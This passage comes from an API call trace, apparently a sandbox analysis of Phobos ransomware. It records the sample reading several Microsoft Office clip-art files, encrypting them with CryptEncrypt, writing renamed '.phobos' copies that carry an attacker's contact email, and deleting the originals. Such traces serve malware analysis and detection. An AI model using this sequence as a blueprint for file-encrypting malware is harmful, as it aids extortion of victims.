(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x220 [0134.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.786] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.786] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.786] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752d98) returned 1 [0134.786] CryptSetKeyParam (hKey=0x752d98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.786] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0xcd6, lpOverlapped=0x0) returned 1 [0134.838] CryptEncrypt (in: hKey=0x752d98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xce0, dwBufLen=0xce0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xce0) returned 1 [0134.838] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xce0, lpOverlapped=0x0) returned 1 [0134.839] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752a18) returned 1 [0134.839] CryptSetKeyParam (hKey=0x752a18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.839] CryptEncrypt (in: hKey=0x752a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.840] CryptDestroyKey (hKey=0x752a18) returned 1 [0134.840] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.840] CryptDestroyKey (hKey=0x752d98) returned 1 [0134.840] CloseHandle (hObject=0x308) returned 1 [0134.840] CloseHandle (hObject=0x2e4) returned 1 [0134.840] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0134.841] SetEvent (hEvent=0x2b8) returned 1 [0134.841] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.841] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=3662) returned 1 [0134.841] CloseHandle (hObject=0x2e4) returned 1 [0134.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x220 [0134.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.841] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.841] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.842] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753018) returned 1 [0134.842] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.842] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0xe4e, lpOverlapped=0x0) returned 1 [0134.851] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xe50, dwBufLen=0xe50 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xe50) returned 1 [0134.851] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xe50, lpOverlapped=0x0) returned 1 [0134.852] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752cd8) returned 1 [0134.852] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.852] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.852] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.852] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.852] CryptDestroyKey (hKey=0x753018) returned 1 [0134.852] CloseHandle (hObject=0x2e4) returned 1 [0134.852] CloseHandle (hObject=0x308) returned 1 [0134.852] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0134.853] SetEvent (hEvent=0x2b8) returned 1 [0134.853] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.854] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=3016) returned 1 [0134.854] CloseHandle (hObject=0x308) returned 1 [0134.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x220 [0134.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.854] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.854] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.855] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753018) returned 1 [0134.855] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.855] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0xbc8, lpOverlapped=0x0) returned 1 [0134.932] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xbd0) returned 1 [0134.932] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xbd0, lpOverlapped=0x0) returned 1 [0134.933] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752f18) returned 1 [0134.933] CryptSetKeyParam (hKey=0x752f18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.933] CryptEncrypt (in: hKey=0x752f18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.933] CryptDestroyKey (hKey=0x752f18) returned 1 [0134.933] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.933] CryptDestroyKey (hKey=0x753018) returned 1 [0134.933] CloseHandle (hObject=0x308) returned 1 [0134.933] CloseHandle (hObject=0x2e4) returned 1 [0134.933] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0134.934] SetEvent (hEvent=0x2b8) returned 1 [0134.934] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.934] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=818) returned 1 [0134.934] CloseHandle (hObject=0x2e4) returned 1 [0134.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x220 [0134.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.935] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.935] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.935] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752d18) returned 1 [0134.935] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.935] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x332, lpOverlapped=0x0) returned 1 [0134.981] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x340, dwBufLen=0x340 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x340) returned 1 [0134.981] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x340, lpOverlapped=0x0) returned 1 [0134.982] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752cd8) returned 1 [0134.982] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.982] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.982] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.982] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.983] CryptDestroyKey (hKey=0x752d18) returned 1 [0134.983] CloseHandle (hObject=0x2e4) returned 1 [0134.983] CloseHandle (hObject=0x308) returned 1 [0134.983] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0134.984] SetEvent (hEvent=0x2b8) returned 1 [0134.984] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.989] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=14688) returned 1 [0134.989] CloseHandle (hObject=0x308) returned 1 [0134.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x220 [0134.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.990] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.990] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.991] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752c58) returned 1 [0134.991] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.991] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x3960, lpOverlapped=0x0) returned 1 [0135.045] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x3970, dwBufLen=0x3970 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x3970) returned 1 [0135.045] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x3970, lpOverlapped=0x0) returned 1 [0135.046] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752d58) returned 1 [0135.046] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.046] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.046] CryptDestroyKey (hKey=0x752d58) returned 1 [0135.047] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.047] CryptDestroyKey (hKey=0x752c58) returned 1 [0135.047] CloseHandle (hObject=0x308) returned 1 [0135.047] CloseHandle (hObject=0x2e4) returned 1 [0135.047] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0135.048] SetEvent (hEvent=0x2b8) returned 1 [0135.048] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.048] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=13538) returned 1 [0135.048] CloseHandle (hObject=0x2e4) returned 1 [0135.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x220 [0135.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.049] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.049] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.049] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752c58) returned 1 [0135.049] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.049] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x34e2, lpOverlapped=0x0) returned 1 [0135.133] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, 